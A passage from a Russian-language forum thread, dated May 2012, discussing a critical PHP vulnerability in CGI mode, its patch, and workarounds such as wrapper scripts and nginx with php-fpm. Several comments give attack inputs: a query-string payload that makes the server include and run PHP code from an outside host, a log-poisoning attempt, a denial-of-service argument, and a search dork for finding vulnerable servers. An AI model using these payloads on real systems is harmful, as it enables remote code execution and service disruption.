...ну тоесть создать то error.log.php можно.. и запустить его можно (preload) .. и даже можно специально сделать ошибку, которая пападёт внутрь этого error.log.php ..(например запросим несуществующий файл часть имени которого содержит символы <%3Fphp phpinfo()%3B %3F>  :))

...но при вписывании "полезной" последовательности через URL-строку:
    <%3Fphp phpinfo()%3B %3F>
        Апач превращает её в последовательность
    \<\?php phpinfo\(\)\; \?\>.php
(тоесть автоматически экранирует)

таким образом в таком экранированном виде она и попадает внутрь error-log... :-(

печалька... а всё было так близко :-( :-(

Ответить | Правка | ^ к родителю #27 | Наверх | Cообщить модератору

69. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от akrylasov email on 05-Май-12, 00:30 
работает если вместо php:// забить http://

/i.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dhttp://domain.ru/info.txt

в info.txt какой-нить php-код. Например <?php phpinfo(); ?>

Ответить | Правка | ^ к родителю #28 | Наверх | Cообщить модератору

38. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 04-Май-12, 10:00 
This setting requires allow_url_fopen to be on.
Ответить | Правка | ^ к родителю #26 | Наверх | Cообщить модератору

47. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Xasd (ok) on 04-Май-12, 11:28 
а ещё можно предположить, что сервера на которых я экспериментировал -- имеют iptables защищающий исходящие запросы... кто знает... %) %)

...но вот никак не выходит :-(

Ответить | Правка | ^ к родителю #38 | Наверх | Cообщить модератору

15. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от mikevmk (??) on 04-Май-12, 00:47 
dork :)
Server API CGI inurl:info.php -"CGI/FastCGI"

и не работает нигде ?-s

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

19. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +2 +/–
Сообщение от Аноним (??) on 04-Май-12, 01:18 
И, по традиции, пачт уязвимость не устраняет, а немного видоизменяет - параметры передать всеравно можно.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

30. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от PavelR (ok) on 04-Май-12, 04:53 

DOS-ить можно: ?-T%2010000

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

33. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +3 +/–
Сообщение от arisu (ok) on 04-Май-12, 07:36 
php — глобально и надёжно!
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

39. "Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."  +1 +/–
Сообщение от CSRedRat email(ok) on 04-Май-12, 10:15 
nginx.org ещё раз подтверждает свои плюсы использования php без apache ;)
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

40. "Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."  –1 +/–
Сообщение от AlexAT (ok) on 04-Май-12, 10:33 
nginx головного мозга? Нефиг некрофилить по CGI.
Ответить | Правка | ^ к родителю #39 | Наверх | Cообщить модератору

42. "Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."  +1 +/–
Сообщение от Andrey Mitrofanov on 04-Май-12, 10:59 
> nginx головного мозга? Нефиг некрофилить по CGI.

Я конечно, не совсем распарсил тонкого сарказму предыдущего оратора, но [предполагаю, он говорит, что] в nginx _нет CGI по жизни -- вообще. Только FastCGI. //Проверил на локалхосте с nginx + spawn-fcgi этот самый ...php?-s -- не действует.

Ответить | Правка | ^ к родителю #40 | Наверх | Cообщить модератору

41. "Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."  –2 +/–
Сообщение от Sas (ok) on 04-Май-12, 10:49 
плюс у него есть в том что он все еще не может .htaccess(
Ответить | Правка | ^ к родителю #39 | Наверх | Cообщить модератору

43. "Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."  +/–
Сообщение от Andrey Mitrofanov on 04-Май-12, 11:01 
>он все еще не может .htaccess(

Совувствуем _Вашим мучениям!! //В след.раз голубые ленточки начнём раздавать?

Ответить | Правка | ^ к родителю #41 | Наверх | Cообщить модератору

45. "Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."  +/–
Сообщение от FSA (ok) on 04-Май-12, 11:18 
Т.е. из-за такой мелочи вы тянете за собой монстра Apache? Да, понимаю, в nginx это реализуется только в конфигах. Но реализуется же!
Ответить | Правка | ^ к родителю #41 | Наверх | Cообщить модератору

48. "Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."  +/–
Сообщение от Sas (ok) on 04-Май-12, 11:30 
вы это скажите программистам битрикса.
или после каждого их костыля мне лезть в конфиг?
обговорил проблему с программерами и решили доставить апача к nginx
Ответить | Правка | ^ к родителю #45 | Наверх | Cообщить модератору

54. "Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."  +/–
Сообщение от EuPhobos (ok) on 04-Май-12, 11:53 
Выкиньте битрикс, вместе с программистами ;)
Когда глобальный движок заточен под что-то одно, он перестаёт быть глобальным движком.

Выб.. ещёб.. нашлиб.. программистов которые затачивают только под ms-iis

Ответить | Правка | ^ к родителю #48 | Наверх | Cообщить модератору

93. "Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."  +1 +/–
Сообщение от Аноним (??) on 05-Май-12, 16:42 
> вы это скажите программистам битрикса.

Это поделие обкуренных бабуинов только могила исправит. Почему-то все кто имел с ним дело из цензурных выражений для его описания использовали только междометия.

Ответить | Правка | ^ к родителю #48 | Наверх | Cообщить модератору

55. "Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."  +1 +/–
Сообщение от ALex_hha (ok) on 04-Май-12, 11:58 
> Для PHP нет другого пути разделения привилегий, если использовать mod_php, то все скрипты будут работать под одним пользователем.

открой для себя mpm-itk и будет тебе счастье

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

59. "Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."  +/–
Сообщение от Аноним (??) on 04-Май-12, 12:46 
OK. А как крутить несколько версий php на одном сервере?
Ответить | Правка | ^ к родителю #55 | Наверх | Cообщить модератору

60. "Критическая уязвимость в PHP. Корректирующие выпуски PHP 5.3..."  +/–
Сообщение от AlexAT (ok) on 04-Май-12, 13:01 
> OK. А как крутить несколько версий php на одном сервере?

В принципе ничто не мешает собрать несколько модулей с разными именами модуля, и использовать.

Ответить | Правка | ^ к родителю #59 | Наверх | Cообщить модератору

58. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +1 +/–
Сообщение от Аноним (??) on 04-Май-12, 12:44 
Я чего-то не понимаю? Почему нельзя во врапере вместо
#!/bin/sh
/usr/data/wrappers/php/5.3/bin/php-cgi $*

сделать просто

#!/bin/sh
/usr/data/wrappers/php/5.3/bin/php-cgi

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

61. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от anonymous (??) on 04-Май-12, 14:09 
Тогда путь до скрипта не получит.
Ответить | Правка | ^ к родителю #58 | Наверх | Cообщить модератору

63. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от anonymous (??) on 04-Май-12, 14:33 
Хотя, впрочем, должен получить через SCRIPT_FILENAME.
Ответить | Правка | ^ к родителю #61 | Наверх | Cообщить модератору

62. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от anonymous (??) on 04-Май-12, 14:14 
Мне другой вопрос гораздо интереснее: разве всё, что после "?" идёт, не должно передоваться в переменной окружения QUERY_STRING? Надо понимать, php-cgi автоматом дописывает QUERY_STRING в конец списка аргументов вызова, поэтому "--" и решает проблему?
Ответить | Правка | ^ к родителю #58 | Наверх | Cообщить модератору

65. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 04-Май-12, 18:16 
php-cgi путь до скрипта получает через переменную окружения. В "$*" всегда находится только QUERY_STRING (кто не верит может проверить). Уязвимость работает именно потому что php-cgi фактически запускается как
php-cgi $QUERY_STRING

Если бы он в самом деле запускался как
php-cgi $SCRIPT $QUERY_STRING
проблемы бы не возникло. Сравните к примеру результаты работы в консоли
php-cgi index.php -s
и
php-cgi -s index.php
В первом случае "-s" не воспринимается как директива.

При этом, сам php спокойно получет значение QUERY_STRING через одноименную переменную окружения, поэтому зачем передавать ему дополнительно "$*" я не понимаю. Нет "$*" - нет проблемы. Или я чего-то не учел?

Ответить | Правка | ^ к родителю #62 | Наверх | Cообщить модератору

66. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +1 +/–
Сообщение от Test email on 04-Май-12, 18:49 
php, такой php ((((
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

74. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 05-Май-12, 12:26 
в win32 на проверяемом сервере оказалось, что запуск производится вообще просто как
Path_to_php\php-cgi.exe
а имя скрипта (ну QUERY_STRING конечно) передается через переменные окружения.
Но если же QUERY_STRING начинается со знака "-", вот тогда запуск происходит как
Path_to_php\php-cgi.exe QUERY_STRING
Соответственно все ниж приведенные wrapper'ы работают корректно.
И все же не совсем понимаю зачем вообще было реализовать ключи командной строки именно для php-cgi.exe.
Ответить | Правка | ^ к родителю #66 | Наверх | Cообщить модератору

96. "Критическая уязвимость в PHP, проявляющаяся в CGI-режиме"  +/–
Сообщение от Аноним (??) on 05-Май-12, 17:49 
Чуть ошибся я в проверке. Действительно, как и указано в спецификации CGI, если в строке запроса присутствует символ "=", то апач вызывает Path_to_php\php-cgi.exe и устанавливает переменную окружения QUERY_STRING. Если же символ "=" отсутствует, то апач вызывает
Path_to_php\php-cgi.exe строка_запроса
Ответить | Правка | ^ к родителю #74 | Наверх | Cообщить модератору

72. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +1 +/–
Сообщение от Аноним (??) on 05-Май-12, 07:06 
Дак просто используем следующий врапер, а не php-cgi сам
#!/usr/bin/php-cgi

и проблема с -s не воспроизводится

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

73. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Аноним (??) on 05-Май-12, 12:20 
Или для винды phpcgi.cmd

@echo off
c:\php\php-cgi.exe

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

75. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Юрий (??) on 05-Май-12, 14:08 
В связке nginx+php-fpm все спокойно, ничего воспроизвести не удалось. Можно спать спокойно)
Протестирована на nginx + php-fpm 4.4.9 и nginx + php-fpm 5.2.17
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

76. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Алексей Добров on 05-Май-12, 14:32 
"Cкрипты, выполняемые с использованием mod_php и FastCGI (например,  
связки nginx с php-fpm), не подвержены проблеме".
Вот интересно, кто, зачем и как часто использует PHP в CGI-режиме?..
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

77. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Аноним (??) on 05-Май-12, 14:38 
> "Cкрипты, выполняемые с использованием mod_php и FastCGI (например,
> связки nginx с php-fpm), не подвержены проблеме".
> Вот интересно, кто, зачем и как часто использует PHP в CGI-режиме?..

например для одновременной работы разныхверсий пхп.

Ответить | Правка | ^ к родителю #76 | Наверх | Cообщить модератору

78. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Алексей Добров on 05-Май-12, 14:44 
И как часто требуется одновременная работа разных версий PHP? ;)
Ответить | Правка | ^ к родителю #77 | Наверх | Cообщить модератору

79. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Аноним (??) on 05-Май-12, 14:52 
> И как часто требуется одновременная работа разных версий PHP? ;)

на хостингах - бывает.

Ответить | Правка | ^ к родителю #78 | Наверх | Cообщить модератору

81. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Алексей Добров on 05-Май-12, 15:03 
>> И как часто требуется одновременная работа разных версий PHP? ;)
> на хостингах - бывает.

Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или я чего-то не понимаю?

Ответить | Правка | ^ к родителю #79 | Наверх | Cообщить модератору

83. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Аноним (??) on 05-Май-12, 15:15 
>>> И как часто требуется одновременная работа разных версий PHP? ;)
>> на хостингах - бывает.
> Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной
> строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или
> я чего-то не понимаю?

строчку покажите

Ответить | Правка | ^ к родителю #81 | Наверх | Cообщить модератору

85. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Алексей Добров on 05-Май-12, 15:21 
>>>> И как часто требуется одновременная работа разных версий PHP? ;)
>>> на хостингах - бывает.
>> Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной
>> строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или
>> я чего-то не понимаю?
> строчку покажите

Например, так: AddType application/x-httpd-php53 .php
См. http://prog-school.ru/2010/10/kak-ispolzovat-raznye-versii-p.../

Ответить | Правка | ^ к родителю #83 | Наверх | Cообщить модератору

86. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Аноним (??) on 05-Май-12, 15:46 
>>>>> И как часто требуется одновременная работа разных версий PHP? ;)
>>>> на хостингах - бывает.
>>> Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной
>>> строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или
>>> я чего-то не понимаю?
>> строчку покажите
> Например, так: AddType application/x-httpd-php53 .php
> См. http://prog-school.ru/2010/10/kak-ispolzovat-raznye-versii-p.../

ну это только с юзерской стороны одна строчка...
mod_php не обеспечивает должного уровня изоляции, должный уровень - это разграниечение прав на уровне системы, по-этоум safe_mode (которого уже нет) и open_basedir не рассматриваем, тут подходит либо cgi, либо fastcgi, либо mtm-itk.

Ответить | Правка | ^ к родителю #85 | Наверх | Cообщить модератору

80. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Юрий (??) on 05-Май-12, 14:58 
Не часто, но бывает.
Мне вот на днях пришлось перенести на свой сервер два проекта. Один из них работает только на PHP 4, второй не работает на PHP 5.3
И вот я был вынужден поставить в дополнение к связке nginx + apache + mod_php 5.3.3 еще 2 связки nginx + php-fpm 4.4.9 и nginx + php-fpm 5.2.17
Ответить | Правка | ^ к родителю #78 | Наверх | Cообщить модератору

82. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Алексей Добров on 05-Май-12, 15:14 
> Не часто, но бывает.
> Мне вот на днях пришлось перенести на свой сервер два проекта. Один
> из них работает только на PHP 4, второй не работает на
> PHP 5.3
> И вот я был вынужден поставить в дополнение к связке nginx +
> apache + mod_php 5.3.3 еще 2 связки nginx + php-fpm 4.4.9
> и nginx + php-fpm 5.2.17

Да уж, веселые приключения  %)
Но все же Вам для этого не потребовалось запускать PHP-скрипты в CGI-режиме, или я неправ?

Ответить | Правка | ^ к родителю #80 | Наверх | Cообщить модератору

87. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от AlexAT (ok) on 05-Май-12, 16:11 
> например для одновременной работы разныхверсий пхп.

Ну это если только религия не позволяет заменить php5_module на php51_module, php52_module, phpetc_module...

Ответить | Правка | ^ к родителю #77 | Наверх | Cообщить модератору

99. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Аноним (??) on 05-Май-12, 23:30 
> Вот интересно, кто, зачем и как часто использует PHP в CGI-режиме?..

На некоторых sharing-хостингах это обычная практика.

Ответить | Правка | ^ к родителю #76 | Наверх | Cообщить модератору

105. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Аноним (??) on 09-Май-12, 12:33 
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {    skip_getopt = 1;}
free(decoded_query_string);}

Насколько я понял, теперь проверяется что если нету лидирующего знака "-" (исключая все лидирующие пробелы) то все равно происходит разбор командной строки.
Не является ли это все равно некоторой опасностью? Допустим
http://anysite.ru/?/anypath/anyscript.php
приведет к вызову
php /anypath/anyscript.php
И вот вопрос будет ли он обрабатывать скрипт, переданный в качестве параметра или переданный через переменную окружения SCRIPT_NAME. А /anypath/anyscript.php может быть какой-нибудь скрипт расположенный не document_root, а где-нибудь в временных каталогах. Конечно, это уже не такая критическая уязвимость, но все же непонятно зачем вообще обрабатывать командную строку, если скрипт запущен в режиме cgi. Когда теоретически даже это может понадобиться не для атаки, а для нормального использования?

Ответить | Правка | ^ к родителю #99 | Наверх | Cообщить модератору

107. "Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5...."  +/–
Сообщение от Аноним email(??) on 23-Дек-13, 08:59 
>
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей 		Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру